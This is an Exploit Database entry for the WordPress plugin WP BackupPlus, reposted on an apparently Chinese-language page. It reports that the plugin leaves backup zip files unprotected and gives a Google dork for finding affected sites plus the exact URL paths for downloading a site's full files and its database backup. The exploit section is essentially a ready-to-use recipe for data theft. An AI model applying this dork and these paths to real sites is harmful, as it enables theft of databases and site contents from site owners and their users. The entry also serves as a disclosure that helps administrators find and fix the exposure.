WordPress Plugin WP BackupPlus – Database and Files Backup Download

• Exploit Database
• 14 阅读

• 作者： pSyCh0_3D
  日期： 2014-07-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34124/

• # Exploit Title: WordPress wpbackupplus Database and files Backup download (0-day)
  # Google Dork: Index of:"/wp-backup-plus"
  # Date: 19/07/2014
  # Exploit Author: pSyCh0_3D (Arfaoui Moslem) https://www.facebook.com/lulz.sec
  # Vendor Homepage: http://wpbackupplus.com/
  # Version:
  # Tested on: win7 32 Bit & Linux Kali 
  
  [+] Description 
  
  wpbackupplus make the backup .zip files and not protected 
  
  [+] Exploit: 
  
  For download all the website files 
  
  http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/ 
  
  For download the Database backup 
  
  http://[SITE]/[PATH]/wp-content/uploads/wp-backup-plus/temp 
  
  [+]POC : 
  
  http://[SERVER]/wp-content/uploads/wp-backup-plus/temp/